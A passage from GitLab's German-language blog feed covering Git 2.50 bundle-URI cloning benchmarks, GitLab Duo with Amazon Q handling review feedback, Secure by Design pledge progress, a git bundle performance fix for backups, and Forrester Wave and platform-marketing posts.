$ git-v2.50 clone --bundle-uri=gitlab-base.bundle https://gitlab.com/gitlab-org/gitlab-foss.git gl-2.50
Cloning into 'gl-2.50'...
remote: Enumerating objects: 65538, done.
remote: Counting objects: 100% (56054/56054), done.
remote: Compressing objects: 100% (28950/28950), done.
remote: Total 43877 (delta 27401), reused 25170 (delta 13546), pack-reused 0 (from 0)
Receiving objects: 100% (43877/43877), 40.42 MiB | 22.27 MiB/s, done.
Resolving deltas: 100% (27401/27401), completed with 8564 local objects.
Updating files: 100% (59972/59972), done.

Wenn wir diese Ergebnisse vergleichen, sehen wir, dass Git 2.50 43 887 Objekte (40,42 MiB) abruft, nachdem das Bundle extrahiert wurde, während Git 2.49 insgesamt 959 773 Objekte (366,94 MiB) abruft. Git 2.50 ruft etwa 95 % weniger Objekte und 90 % weniger Daten ab, was vorteilhaft sowohl für den Client als auch für den Server ist. Der Server muss viel weniger Daten für den Client verarbeiten und der Client muss weniger Daten herunterladen und extrahieren. In dem von Scott angegebenen Beispiel führte dies zu einer Beschleunigung um 25 %.

Weitere Informationen findest du im entsprechenden englischsprachigen Mailinglisten-Thread.

TDiese Patch-Serie wurde von Scott Chacon beigesteuert.

Weiterlesen

In diesem Artikel werden nur einige der Beiträge von GitLab und der größeren Git-Community für diese neueste Veröffentlichung vorgestellt. Mehr darüber erfährst du in der offiziellen Veröffentlichungsankündigung des Git-Projekts. Sieh dir auch unsere letzten Blogbeiträge zu Git-Releases (in englischer Sprache verfügbar) an, um weitere wichtige Beiträge von GitLab-Teammitgliedern zu entdecken.

Code-Reviews beschleunigen: Lass KI die Feedback-Implementierung übernehmen

2025-06-10T00:00:00.000Z

Kennst du das Gefühl, wenn du gerade einen Merge Request eingereicht hast und die Code-Review-Kommentare eintrudeln? Ein Reviewer möchte die Labels aktualisiert haben, ein anderer fragt nach Side-by-Side-Layouts, jemand anderes fordert fette Formatierung, und vergiss nicht die Änderung der Button-Farbe. Bevor du dich versiehst, verbringst du Stunden mit der Implementierung von Feedback, das zwar wichtig ist, dich aber davon abhält, neue Features zu entwickeln. Es ist ein zeitaufwendiger Prozess, dem sich jede(r) Entwickler(in) stellen muss, aber es fühlt sich an, als sollte es einen besseren Weg geben.

Was wäre, wenn du einen KI-Assistenten hättest, der Code-Review-Feedback versteht und die Änderungen automatisch für dich implementiert? Genau das bringt GitLab Duo mit Amazon Q in deinen Entwicklungsworkflow. Diese nahtlose Integration kombiniert GitLabs umfassende DevSecOps-Plattform mit Amazon Qs fortgeschrittenen KI-Fähigkeiten und schafft einen intelligenten Assistenten, der Reviewer-Kommentare lesen und direkt in Code-Änderungen umwandeln kann. Anstatt jedes Feedback manuell zu bearbeiten, kannst du die KI die Implementierung übernehmen lassen, während du dich auf das große Ganze konzentrierst.

Wie GitLab Duo mit Amazon Q funktioniert

Wenn du einen Merge Request mit Reviewer-Kommentaren ansiehst, siehst du Feedback, das über deinen Code verteilt ist. Nehmen wir die Beispiele von vorhin: Vielleicht hast du eine Anfrage erhalten, hier ein Formular-Label zu aktualisieren, dort einen Vorschlag, Felder nebeneinander anzuzeigen, oder eine Notiz, bestimmten Text fett zu formatieren. Jeder Kommentar stellt eine Aufgabe dar, die du normalerweise manuell erledigen müsstest.

Mit GitLab Duo mit Amazon Q kannst du einfach die /q dev Quick Action in einem Kommentar eingeben. Dies veranlasst Amazon Q, das gesamte Feedback zu analysieren und automatisch mit der Modifikation deines Codes zu beginnen. Der KI-Agent versteht den Kontext jedes Kommentars und implementiert die angeforderten Änderungen direkt in deiner Codebasis.

Sobald Amazon Q das Feedback verarbeitet hat, kannst du alle Updates im „Änderungen"-Tab deines Merge Requests einsehen. Jede Modifikation ist klar sichtbar, sodass du überprüfen kannst, dass der KI-Agent jedes Feedback korrekt interpretiert und implementiert hat. Du kannst dann deine aktualisierte Anwendung ausführen, um zu bestätigen, dass alle Änderungen wie erwartet funktionieren – das Formular-Label ist aktualisiert, die Felder werden nebeneinander angezeigt, der Text ist fett, und ja, dieser Button ist jetzt blau.

Sieh dir den Code-Review-Feedback-Prozess in Aktion an:

Die Verarbeitung von Code-Review-Feedback ist ein notwendiger, aber zeitintensiver Teil der Softwareentwicklung. GitLab Duo mit Amazon Q entwickelt diesen manuellen Prozess zu einem automatisierten Workflow weiter und reduziert drastisch die Zeit zwischen dem Erhalt von Feedback und der Implementierung von Änderungen. Indem du die KI diese routinemäßigen Modifikationen übernehmen lässt, bist du frei, dich auf das zu konzentrieren, was wirklich zählt – innovative Features zu entwickeln und komplexe Probleme zu lösen.

Mit GitLab Duo mit Amazon Q kannst du:

Stunden manueller Feedback-Implementierung eliminieren
Deine Code-Review-Zyklen beschleunigen
Konsistenz bei der Bearbeitung von Feedback gewährleisten
Kontextwechsel zwischen Review-Kommentaren und Code-Schreiben reduzieren
Features mit optimierten Bereitstellungszeiten schneller ausliefern

Um mehr über GitLab Duo mit Amazon Q zu erfahren, besuche uns bei einem kommenden AWS Summit in einer Stadt in deiner Nähe oder wende dich an deinen GitLab-Vertreter.

GitLab Duo mit Amazon Q Ressourcen

Letztes Jahr haben wir das Secure by Design-Versprechen unterzeichnet – hier ist unser Fortschritt

2025-06-09T00:00:00.000Z

Vor etwas mehr als einem Jahr hat GitLab CISAs Secure by Design Pledge unterzeichnet, eine Richtlinie für Technologieanbieter, Sicherheit von Beginn der Entwicklung an ins Herz ihrer Produkte zu integrieren. Seitdem haben wir erhebliche Fortschritte bei der Verbesserung unserer Sicherheitslage gemacht und ein sichereres Ökosystem für unsere Kund(inn)en geschaffen, um sichere Software schneller zu entwickeln.

Die Sicherheitsziele erreichen

Schauen wir uns die Erweiterungen und Verbesserungen an, die wir vorgenommen haben, um die Sicherheit über den gesamten Entwicklungslebenszyklus hinweg weiter zu verbessern.

Multi-Faktor-Authentifizierung (MFA)

Ziel: Innerhalb eines Jahres nach Unterzeichnung des Versprechens nachweisbare Maßnahmen zur messbaren Erhöhung der Nutzung von Multi-Faktor-Authentifizierung in den Produkten des Herstellers demonstrieren.

GitLab bietet derzeit mehrere MFA-Optionen für Nutzer(innen), um ihre Konten zu sichern. Wir bieten auch SSO-Funktionalität an, damit GitLab.com-, Self-Managed- und GitLab Dedicated-Kund(inn)en ihre Authentifizierungsprozesse und internen MFA-Anforderungen optimieren können.

Um die Widerstandsfähigkeit der Plattform weiter zu verbessern und eine sicherere Grundlage für unsere Kund(inn)en zu schaffen, führt GitLab eine schrittweise MFA-by-Default-Einführung durch.

In den kommenden Monaten werden wir Änderungen implementieren, die alle Kund(inn)en verpflichten, MFA für ihre Konten zu aktivieren.

Für Kund(inn)en, die bereits MFA aktiviert haben oder sich über die Single-Sign-On-Methode (SSO) ihrer Organisation bei GitLab authentifizieren, sind keine Änderungen erforderlich. Kund(inn)en, die noch keine MFA aktiviert haben und sich nicht über die SSO-Methode ihrer Organisation bei GitLab authentifizieren, müssen MFA aktivieren und sich für eine oder mehrere der verfügbaren MFA-Methoden registrieren.

Die MFA-Einführung erfolgt in Phasen, um eine reibungslose und konsistente Annahme bei allen Kund(inn)en zu gewährleisten. Weitere Details zu GitLabs MFA-by-Default-Einführung werden in naher Zukunft geteilt.

Standardpasswörter

Ziel: Innerhalb eines Jahres nach Unterzeichnung des Versprechens messbaren Fortschritt bei der Reduzierung von Standardpasswörtern in den Produkten des Herstellers demonstrieren.

Um die Verwendung von Standardpasswörtern zu reduzieren, nutzt GitLab zufällig generierte Root-Passwörter für seine verschiedenen Installationsmethoden. GitLabs Installationsanweisungen für mehrere Methoden enthalten auch Anleitungen, wie das zufällig generierte Root-Passwort für jede Installation geändert werden kann.

Bei einigen Installationsmethoden, wie der Installation von GitLab in einem Docker-Container, wird die Passwortdatei mit dem initialen Root-Passwort beim ersten Container-Neustart nach 24 Stunden gelöscht, um die GitLab-Instanz weiter zu härten.

Reduzierung ganzer Klassen von Schwachstellen

Ziel: Innerhalb eines Jahres nach Unterzeichnung des Versprechens Maßnahmen demonstrieren, die eine signifikante messbare Reduzierung der Verbreitung einer oder mehrerer Schwachstellenklassen in den Produkten des Herstellers ermöglichen.

GitLab hat Richtlinien für sicheres Programmieren auf seiner Dokumentationsseite veröffentlicht, die Beschreibungen und Richtlinien zur Behebung von Sicherheitsschwachstellen enthalten, die häufig in der GitLab-Codebasis identifiziert werden.

Die Richtlinien sind „darauf ausgelegt, Entwickler(inne)n zu helfen, potenzielle Sicherheitsschwachstellen frühzeitig zu identifizieren, mit dem Ziel, die Anzahl der im Laufe der Zeit veröffentlichten Schwachstellen zu reduzieren."

GitLab verbessert kontinuierlich seine SAST-Regelabdeckung, um umfassendere Sicherheitsschwachstellen für sich selbst und seine Kund(inn)en zu adressieren.

Sicherheitspatches

Ziel: Innerhalb eines Jahres nach Unterzeichnung des Versprechens Maßnahmen demonstrieren, um die Installation von Sicherheitspatches durch Kund(inn)en messbar zu erhöhen.

GitLab übernimmt alle Updates im Zusammenhang mit seinen GitLab.com- und GitLab Dedicated-Serviceangeboten. Zusätzlich veröffentlicht GitLab eine Wartungsrichtlinie, die den Ansatz für die Veröffentlichung von Updates, Rückportierungen, Upgrade-Empfehlungen und unterstützende Dokumentation usw. darlegt.

Die GitLab-Dokumentation bietet umfassende Anleitungen zum Upgrade von Self-Managed-Instanzen basierend auf ihrem Bereitstellungsmodell. Dies umfasst Omnibus-, Helm-Chart-, Docker- und selbstkompilierte GitLab-Installationen.

GitLab bietet auch einen detaillierten Upgrade-Plan, um ordnungsgemäße Tests und Fehlerbehebung sowie bei Bedarf Rollback-Pläne zu gewährleisten.

Je nach Versions-Upgrade werden spezifische Änderungen (Beispiel für GitLab 17) für jede Version hervorgehoben, um einen reibungslosen Upgrade-Prozess zu gewährleisten und die Nichtverfügbarkeit von Diensten zu begrenzen.

Richtlinie zur Offenlegung von Schwachstellen

Ziel: Innerhalb eines Jahres nach Unterzeichnung des Versprechens eine Richtlinie zur Offenlegung von Schwachstellen (VDP) veröffentlichen.

GitLab unterhält ein starkes Bug-Bounty-Programm über HackerOne, eine security.txt-Datei, die GitLabs bevorzugte und zusätzliche Offenlegungsprozesse hervorhebt, sowie Release-Posts, die Sicherheitsfixes hervorheben.

Kund(inn)en und die Öffentlichkeit können sich anmelden, um GitLabs Release-Posts direkt in ihrem E-Mail-Posteingang zu erhalten.

Common Vulnerability Enumerations

Ziel: Innerhalb eines Jahres nach Unterzeichnung des Versprechens Transparenz in der Schwachstellenberichterstattung demonstrieren

GitLab fügt das Common Weakness Enumeration (CWE)-Feld in alle Common Vulnerability Enumeration (CVE)-Datensätze ein, die es veröffentlicht. Im vergangenen Jahr hat GitLab iterativ auch das Common Platform Enumeration (CPE)-Feld in CVE-Datensätzen aufgenommen.

Das GitLab CVE-Zuweisungsprojekt speichert eine Kopie aller CVE-Identifikatoren, die von GitLab in seiner Rolle als CVE Numbering Authority zugewiesen und veröffentlicht wurden.

Schau dir GitLabs CVE-Einreichungsvorlage an.

Beweise für Eindringlinge

Ziel: Innerhalb eines Jahres nach Unterzeichnung des Versprechens eine messbare Erhöhung der Fähigkeit von Kund(inn)en demonstrieren, Beweise für Cybersicherheitseindringlinge zu sammeln, die die Produkte des Herstellers betreffen.

GitLab hat einen Leitfaden zur Vorfallreaktion veröffentlicht, um Kund(inn)en bei der Reaktion auf Vorfälle mit GitLab-Instanzen zu helfen. Zusätzlich hat GitLab Open-Source-Versionen seiner GUARD Detection-as-Code- und TLDR-Bedrohungserkennungs-Frameworks veröffentlicht. Die Repositories für diese Open-Source-Frameworks finden sich im GitLab Open Source Security Center.

In ähnlicher Weise fügt GitLab Funktionalität zu seinem GitLab.com-Serviceangebot hinzu, um kompromittierte Passwörter zu erkennen für alle Anmeldungen, die GitLabs native Benutzername- und Passwort-Authentifizierungsmethode verwenden.

Was kommt als Nächstes

Die Mission der GitLab Security Division ist es, allen zu ermöglichen, auf einer sicheren, geschützten und vertrauenswürdigen DevSecOps-Plattform zu innovieren und erfolgreich zu sein.

GitLabs Sicherheitsverbesserungen im vergangenen Jahr haben es uns ermöglicht, unser Engagement für CISAs Secure by Design Pledge zu demonstrieren, und sie haben unsere Plattform gestärkt und Kund(inn)en eine zuverlässigere und sicherere Grundlage zum Aufbauen gegeben.

Unser Engagement für Iteration bedeutet, dass wir uns bereits auf die nächste Reihe von Innovationen konzentrieren, die uns voranbringen werden.

Um mehr über GitLabs Sicherheitsverbesserungen zu erfahren, setze ein Lesezeichen für unsere Sicherheitsseite im GitLab Blog.

Mehr lesen

So haben wir GitLab-Backups von 48 Stunden auf 41 Minuten beschleunigt

2025-06-05T00:00:00.000Z

Backups von Repositorys sind ein wichtiger Bestandteil jeder robusten Strategie für die Notfallwiederherstellung. Mit zunehmender Größe der Repositorys wird die Erstellung zuverlässiger Backups jedoch immer schwieriger. Das Backup unseres eigenen Rails-Repository dauerte 48 Stunden und zwang uns zu einer unmöglichen Entscheidung zwischen Backup-Häufigkeit und Systemleistung. Wir wollten dieses Thema sowohl für unsere Kund(inn)en als auch für unsere eigenen Benutzer(innen) in den Griff bekommen.

Schließlich haben wir das Problem auf eine 15 Jahre alte Git-Funktion mit O(N²)-Komplexität zurückgeführt und sie mit einer algorithmischen Änderung behoben, die die Backup-Zeiten exponentiell reduzierte. Das Ergebnis: niedrigere Kosten, weniger Risiko und Backup-Strategien, die tatsächlich mit deiner Codebase mitwachsen.

Es stellte sich heraus, dass es sich um ein Skalierungsproblem von Git handelt, das jedes große Repository betrifft. Hier erfährst du, wie wir es aufgespürt und behoben haben.

Skalierbare Backups

Sehen wir uns zunächst das Problem an. Wenn Unternehmen ihre Repositorys skalieren und Backups immer komplexer werden, stehen sie vor einigen Herausforderungen:

Zeitintensive Backups: Bei sehr großen Repositorys kann es mehrere Stunden dauern, bis ein Repository-Backup erstellt wird. Dies kann die Möglichkeit, regelmäßige Backups zu planen, beeinträchtigen.
Ressourcenintensität: Erweiterte Backup-Prozesse können erhebliche Serverressourcen verbrauchen, was sich möglicherweise auf andere Vorgänge auswirken kann.
Backup-Fenster: Für Teams, die rund um die Uhr arbeiten, kann es schwierig sein, angemessene Wartungsfenster für Prozesse zu finden, die so lange dauern.
Erhöhtes Ausfallrisiko: Prozesse, die über längere Zeit ausgeführt werden, sind anfälliger für Unterbrechungen durch Netzwerkprobleme, Neustarts von Servern und Systemfehler. So sind Teams manchmal dazu gezwungen, den gesamten sehr langen Backup-Prozess von Grund auf neu zu starten.
Race Conditions: Da es sehr lange dauert, ein Backup durchzuführen, kann sich das Repository während des Prozesses stark verändern. Dies kann möglicherweise zu einem ungültigen Backup führen oder das Backup unterbrechen, weil Objekte nicht mehr verfügbar sind.

Diese Herausforderungen können zu Kompromissen bei der Häufigkeit oder Vollständigkeit von Backups führen – ein inakzeptabler Kompromiss, wenn es um den Datenschutz geht. Erweiterte Backup-Fenster können Kund(inn)en zu Problemumgehungen zwingen. Einige setzen möglicherweise externe Tools ein, während andere die Backup-Häufigkeit reduzieren, was zu potenziell inkonsistenten Datenschutzstrategien im Unternehmen führen kann.

Sehen wir uns nun an, wie wir einen Leistungsengpass identifiziert, eine Lösung gefunden und diese bereitgestellt haben, um die Backup-Zeiten zu verkürzen.

Die technische Herausforderung

Die Repository-Backup-Funktionalität von GitLab basiert auf dem Befehl git bundle create, der einen vollständigen Snapshot eines Repository erfasst, einschließlich aller Objekte und Referenzen wie Branches und Tags. Dieses Bundle dient als Wiederherstellungspunkt, um das Repository in seinem genauen Zustand neu zu erstellen.

Die Implementierung des Befehls litt jedoch unter einer schlechten Skalierbarkeit im Zusammenhang mit der Referenzzählung, was zu einem Leistungsengpass führte. Je mehr Referenzen die Repositorys sammelten, desto mehr stieg die Verarbeitungszeit exponentiell an. In unseren größten Repositorys mit Millionen von Referenzen konnten Backup-Vorgänge mehr als 48 Stunden dauern.

Grundursachenanalyse

Um die Grundursache dieses Leistungsengpasses zu identifizieren, haben wir ein Flammendiagramm des Befehls während der Ausführung analysiert.

Ein Flammendiagramm, das den Ausführungspfad eines Befehls durch seinen Stacktrace zeigt. Jeder Balken entspricht einer Funktion im Code. Die Breite des Balkens gibt an, wie viel Zeit der Befehl für die Ausführung innerhalb dieser bestimmten Funktion benötigt hat.

Bei der Untersuchung des Flammendiagramms von git bundle create, das auf einem Repository mit 10 000 Referenzen ausgeführt wird, werden etwa 80 % der Ausführungszeit von der Funktion object_array_remove_duplicates() verbraucht. Diese Funktion wurde in Git im Commit b2a6d1c686 eingeführt (bundle: allow the same ref to be given more than once, 17.01.2009).

Um diese Änderung zu verstehen, ist es wichtig zu wissen, dass git bundle create es Benutzer(inne)n ermöglicht, anzugeben, welche Referenzen in das Bundle aufgenommen werden sollen. Für vollständige Repository-Bundles werden mit dem Flag --all alle Referenzen gepackt.

Der Commit löste ein Problem, bei dem Benutzer(innen), die über die Befehlszeile doppelte Referenzen bereitstellten – wie z. B. git bundle create main.bundle main main – ein Bundle erstellten, ohne die doppelte Hauptreferenz ordnungsgemäß zu verarbeiten. Das Entpacken dieses Bundles in einem Git-Repository würde fehlschlagen, da versucht würde, die gleiche Referenz zweimal zu schreiben. Der Code zum Vermeiden von Duplikaten verwendet verschachtelte for-Schleifen, die alle Referenzen durchlaufen, um Duplikate zu identifizieren. Dieser O(N²)-Algorithmus wird in Repositorys mit einer großen Anzahl von Referenzen zu einem erheblichen Leistungsengpass, da er viel Rechenzeit verbraucht.

Der Fix: Von O(N²) zu effizientem Mapping

Um dieses Leistungsproblem zu lösen, haben wir einen Upstream-Fix für Git bereitgestellt, der die verschachtelten Schleifen durch eine Mapping-Datenstruktur ersetzt. Jede Referenz wird der Zuordnung hinzugefügt, wodurch automatisch sichergestellt wird, dass nur eine einzige Kopie jeder Referenz für die Bearbeitung gespeichert wird.

Diese Änderung verbessert die Leistung von git bundle create drastisch und ermöglicht eine bessere Skalierbarkeit in Repositorys mit einer großen Anzahl von Referenzen. Benchmark-Tests mit einem Repository mit 10 000 Referenzen zeigen eine 6-fache Leistungssteigerung.

Benchmark 1: bundle (refcount = 100000, revision = master)
  Time (mean ± σ): 	14.653 s ±  0.203 s	[User: 13.940 s, System: 0.762 s]
  Range (min … max):   14.237 s … 14.920 s	10 runs

Benchmark 2: bundle (refcount = 100000, revision = HEAD)
  Time (mean ± σ):  	2.394 s ±  0.023 s	[User: 1.684 s, System: 0.798 s]
  Range (min … max):	2.364 s …  2.425 s	10 runs

Summary
  bundle (refcount = 100000, revision = HEAD) ran
  6.12 ± 0.10 times faster than bundle (refcount = 100000, revision = master)

Der Patch wurde akzeptiert und in den Git-Upstream zusammengeführt. Wir haben diesen Fix zurückportiert, damit unsere Kund(inn)en sofort davon profitieren können, ohne auf die nächste Git-Version warten zu müssen.

Das Ergebnis: Drastisch verkürzte Backup-Zeiten

Die Leistungssteigerungen, die sich aus dieser Verbesserung ergeben haben, sind bahnbrechend:

Von 48 Stunden auf 41 Minuten: Das Erstellen eines Backups unseres größten Repositorys (gitlab-org/gitlab) dauert jetzt nur noch 1,4 % der ursprünglichen Zeit.
Konsistente Leistung: Die Verbesserung funktioniert zuverlässig bei Repositorys jeder Größe.
Ressourceneffizienz: Wir haben die Serverlast während der Backup-Vorgänge deutlich reduziert.
Breitere Anwendbarkeit: Bei der Erstellung von Backups ist die Verbesserung am größten, aber auch alle Bundle-basierten Vorgänge, die mit vielen Referenzen arbeiten, profitieren davon.

Was bedeutet das für GitLab-Kund(inn)en?

GitLab-Kund(inn)en profitieren von dieser Erweiterung unmittelbar und spürbar, wenn es darum geht, wie Unternehmen die Sicherung von Repositorys und die Notfallwiederherstellung planen:

Transformierte Backup-Strategien
- Enterprise-Teams können umfassende nächtliche Zeitpläne aufstellen, ohne dass die Entwicklungs-Workflows beeinträchtigt werden oder umfangreiche Backup-Fenster erforderlich sind.
- Backups können jetzt während der nächtlichen Zeitpläne nahtlos im Hintergrund ausgeführt werden, anstatt separat und langwierig durchgeführt zu werden.
Bessere Geschäftskontinuität
- Durch die Verkürzung der Backup-Zeiten von Tagen auf Minuten können Unternehmen ihr Wiederherstellungsziel deutlich minimieren. Dies führt zu einem geringeren Geschäftsrisiko – in einem Katastrophenszenario musst du möglicherweise nur noch Stunden anstatt Tage an Arbeit wiederherstellen.
Reduzierter betrieblicher Mehraufwand
- Geringerer Verbrauch von Serverressourcen und kürzere Wartungsfenster.
- Kürzere Backup-Fenster bedeuten geringere Compute-Kosten, vor allem in Cloud-Umgebungen, wo sich längere Verarbeitungszeiten direkt in höheren Rechnungen niederschlagen.
Zukunftssichere Infrastruktur
- Wachsende Repositorys erzwingen keine schwierigen Entscheidungen mehr zwischen Backup-Häufigkeit und Systemleistung.
- Wenn deine Codebase wächst, kann deine Backup-Strategie nahtlos mitwachsen.

Unternehmen können jetzt robustere Backup-Strategien umsetzen, ohne Kompromisse bei der Leistung oder Vollständigkeit einzugehen. Was früher ein schwieriger Kompromiss war, ist heute ein ganz normaler Vorgang.

Mit dem Release von GitLab 18.0 (nur in englischer Sprache verfügbar) können alle GitLab-Kund(inn)en unabhängig von ihrem Tarif diese Verbesserungen bereits in vollem Umfang für ihre Backup-Strategie und Ausführung (nur in englischer Sprache verfügbar) nutzen. Es ist keine weitere Änderung der Konfiguration erforderlich.

Wie geht es weiter?

Dieser Durchbruch ist Teil unseres kontinuierlichen Engagements für eine skalierbare, unternehmensgerechte Git-Infrastruktur. Die Reduzierung der Zeit für die Erstellung von Backups von 48 Stunden auf 41 Minuten ist bereits ein wichtiger Meilenstein. Wir arbeiten weiter daran, Leistungsengpässe in unserem gesamten Stack zu identifizieren und zu beheben.

Wir sind besonders stolz darauf, dass diese Verbesserung in das Git-Projekt integriert wurde und nicht nur den Benutzer(inn)en von GitLab, sondern auch der gesamten Git-Community zugutekommt. Dieser kollaborative Ansatz bei der Entwicklung stellt sicher, dass Verbesserungen gründlich geprüft, umfassend getestet und für alle zugänglich gemacht werden.

Tiefgreifende Infrastrukturarbeit wie diese ist die Art, wie wir bei GitLab an die Leistung herangehen. Nimm am virtuellen Launch-Event von GitLab 18 teil, um zu sehen, welche weiteren grundlegenden Verbesserungen wir einführen werden. Registriere dich noch heute!

GitLab ist ein Leader in der Forrester Wave™: DevOps Platforms, Q2 2025

2025-06-02T00:00:00.000Z

Die Wahl einer DevSecOps-Plattform ist eine der wichtigesten technologischen Entscheidungen, die ein Unternehmen zu treffen hat. Deshalb freuen wir uns sehr, dass wir als führender Anbieter in The Forrester Wave™: DevOps Platforms, Q2 2025 (nur in englischer Sprache verfügbar) ausgezeichnet wurden.

Wir haben die höchstmöglichen Punktzahlen bei den Kriterien erhalten, die unseren Kund(inn)en laut ihren eigenen Angaben am wichtigsten sind, einschließlich der Benutzungserfahrung am ersten Tag, der Entwicklungstools, der Build-Automatisierung und CI, der automatisierten Bereitstellung, der Risikominderung im Zusammenhang mit KI, KI-Infusion, direkt integrierter Sicherheitstools und Plattformkohäsion.

„GitLab ist die All-in-One-Lösung unter den All-in-One-Lösungen, die ihrem Namen am stärksten gerecht wird, und eignet sich damit für Unternehmen, die mit einem einzigen Kauf eine Standardisierung herbeiführen möchten.“ – Forrester Wave™: DevOps Platforms, Q2 2025

Diese Auszeichnung spiegelt das wider, was wir selbst von unseren Kund(inn)en gehört haben: Sie müssen sichere Software schneller bereitstellen, doch ihre bestehenden Lösungen zwingen sie, Kompromisse bei der Geschwindigkeit, Sicherheit oder Einfachheit einzugehen. GitLab wird jedoch allen drei Anforderungen gerecht. Und mit unserer Veröffentlichung von GitLab 18.0 (nur in englischer Sprache verfügbar) im Mai sind wir noch einen Schritt weiter gegangen, indem wir ohne zusätzliche Kosten die KI-nativen Funktionen von GitLab Duo – wie Test Generation, Code Suggestions und Code Refactoring – direkt in GitLab Premium und GitLab Ultimate integriert haben.

Erhalte jetzt Zugang zum englischsprachigen Bericht.

Mit unternehmensweiter Kontrolle an der Spitze der KI-Transformation bleiben

DevSecOps entwickelt sich rasant weiter, wobei die KI an der Spitze dieses Wandels steht. Leider zwingen viele KI-Tools die Anwender(innen) zu einer Wahl: entweder modernste Funktionen oder eine höchstmögliche Unternehmenssicherheit.

GitLab hat sowohl bei den Kriterien KI-Infusion als auch KI-Risikominderung 5 Punkte erhalten – die höchste mögliche Punktzahl. Wir freuen uns, dass unser klarer Fokus auf die Entwicklung innovativer KI-Funktionen, bei denen gleichermaßen eine umfassende Sicherheit gewährleistet bleibt, nicht nur von unseren Kund(inn)en wahrgenommen wird.

Diese doppelte Stärke zeigt sich in unseren KI-Angeboten von GitLab Duo, unter anderem:

Duo Workflow (private Beta-Version): Autonome KI-Agenten, die komplexe Aufgaben bei der Entwicklung, Sicherheit und Betrieb bewältigen – mit Leitlinien und Audit-Trails auf Enterprise-Niveau.
Agentic Chat: Kontextbezogene, dialogorientierte KI-Unterstützung für alles von Codeerläuterungen bis hin zur Erstellung von Tests – mit integriertem Schutz des geistigen Eigentums und Datenschutzkontrollen.
Code Suggestions: KI-Unterstützung, die Codeblöcke vorausschauend vervollständigen, eine Funktionslogik definieren, Tests generieren und häufig verwendeten Code wie Regex-Muster vorschlagen kann.
KI-native Vulnerability Resolution: Findet und behebt Sicherheitslücken mit automatischen Erklärungen und automatisch erstellten Merge Requests, um so den Entwicklungsprozess zu optimieren.

Mit weniger mehr erreichen

Wir haben deutlich vernommen, dass DevSecOps-Teams nicht noch mehr Tools und Integrationen benötigen, die sie bei einzelnen Abschnitten ihres Software-Entwicklungsprozesses unterstützen. Sie benötigen stattdessen eine nahtlose, integrierte Entwicklererfahrung, die den gesamten Lebenszyklus der Softwareentwicklung abdeckt.

Wir sind überzeugt, dass die Bewertungen von GitLab in den folgenden Kriterien unsere kundenorientierte Strategie bestätigen:

Nutzungserfahrung am ersten Tag: Forrester zitiert unsere „starke Nutzungserfahrung am ersten Tag“ und stellt fest, dass „alles sofort einsatzbereit ist“, unterstützt durch umfangreiche Migrationstools und Tutorials.
Entwicklertools: Forrester verweist beispielhaft auf GitLab Duo mit Amazon Q, unser Angebot für agentische KI für AWS-Kund(inn)en, sowie auf unsere Entwicklungsumgebung in der Cloud, die integrierte Entwicklungsplattform und Wikis für die Dokumentation.
Projektplanung und -abstimmung: Forrester hebt unser „starkes Compliance Center“ hervor und stellt fest, dass wir über Tools verfügen, um die Abstimmung in beide Richtungen voranzutreiben.
Pipeline-Sicherheit: Forrester gibt uns die höchstmögliche Punktzahl beim Kriterium Pipeline-Sicherheit.
Build-Automatisierung und CI: Forrester erwähnt unsere Build-Automatisierung und CI mit mehrstufigen Build-Pipelines und einer starken Unterstützung für selbst gehostete Installationen.

Bericht lesen

Für uns spiegelt sich in unserer Auszeichnung als führender Anbieter in The Forrester Wave™: DevOps-Plattformen, Q2 2025 die Breite und Tiefe der Funktionen unserer Plattform wider, die als Single Source of Truth über den gesamten Lebenszyklus der Softwareentwicklung hinweg fungiert. Kein Jonglieren mit mehreren Tools und Integrationen mehr – GitLab bietet eine nahtlose, integrierte Erfahrung, die die Produktivität steigert und Reibungsverluste reduziert.

Wir sind überzeugt, dass sich in dieser hervorragenden Platzierung die harte Arbeit unseres Teams, die vielen Beiträge der Open-Source-Community von GitLab, das unschätzbare Feedback unserer Kund(inn)en und unser Engagement für die Gestaltung der Zukunft der Softwareentwicklung widerspiegeln.

Öffne den englischsprachigen Bericht.

Forrester spricht keine Empfehlung für Unternehmen, Produkte, Marken oder Dienstleistungen aus, die in seinen Forschungspublikationen vorkommen, und rät niemandem, sich auf der Grundlage der in diesen Publikationen aufgeführten Bewertungen für die Produkte oder Dienstleistungen eines Unternehmens oder einer Marke zu entscheiden. Die Informationen basieren auf den besten verfügbaren Ressourcen. Die Meinungen spiegeln die jeweils aktuelle Einschätzung wider und können sich ändern. Weitere Informationen zur Objektivität von Forrester (in englischer Sprache) findest du hier.

Warum steigen Unternehmen auf eine einheitliche DevSecOps-Plattform um?

2025-06-02T00:00:00.000Z

In der modernen Softwareentwicklung von heute migrieren viele Unternehmen in die Cloud und führen DevSecOps-Prozesse ein. Durch die Vielzahl von Tools und Legacy-Systemen, die nicht für die moderne Entwicklung ausgelegt sind, stellt diese Umstellung jedoch eine große Herausforderung dar.

Um diese Systeme an DevSecOps anzupassen, müssen Unternehmen mehrere Tools für Aufgabenmanagement, CI/CD, Sicherheit, Überwachung und vieles mehr miteinander verknüpfen. Das Ergebnis? Komplexe Betriebsabläufe, hohe Wartungskosten und eine erschwerte Zusammenarbeit zwischen Entwicklungs- und Betriebsteams. Darüber hinaus sind Entwickler(innen) frustriert, da sie ständig zwischen verschiedenen Tools wechseln müssen, um einen einzigen Flow – von der Planung bis zur Produktion – abzuschließen.

Wie komplex es sein kann, mehrere Tools in einen DevSecOps-Prozess zu integrieren

Die gute Nachricht ist, es gibt eine Lösung: Eine umfassende DevSecOps-Plattform, die einen einheitlichen Ansatz für die Softwareentwicklung bietet.

Diese Plattformen sind für Unternehmen konzipiert, die in cloudbasierten und DevSecOps-Umgebungen arbeiten. Sie konsolidieren alle Phasen der Softwareentwicklung – von der Codeverwaltung, über CI/CD-Prozesse, Aufgabenmanagement und Sicherheit bis hin zur KI-gestützten Automatisierung – auf einer einzigen Plattform. Die Zentralisierung aller Softwareentwicklungs-Workflows in einer einheitlichen Oberfläche ermöglicht es den Entwicklungs- und Betriebsteams, effizienter zu arbeiten, die Kommunikation zu vereinfachen und die Komplexität der Vorgänge und Störungen zu minimieren.

Darüber hinaus verbessert sich die Entwicklererfahrung erheblich – sie arbeiten viel lieber mit einem Produkt, das speziell für moderne Entwicklungsanforderungen konzipiert wurde.

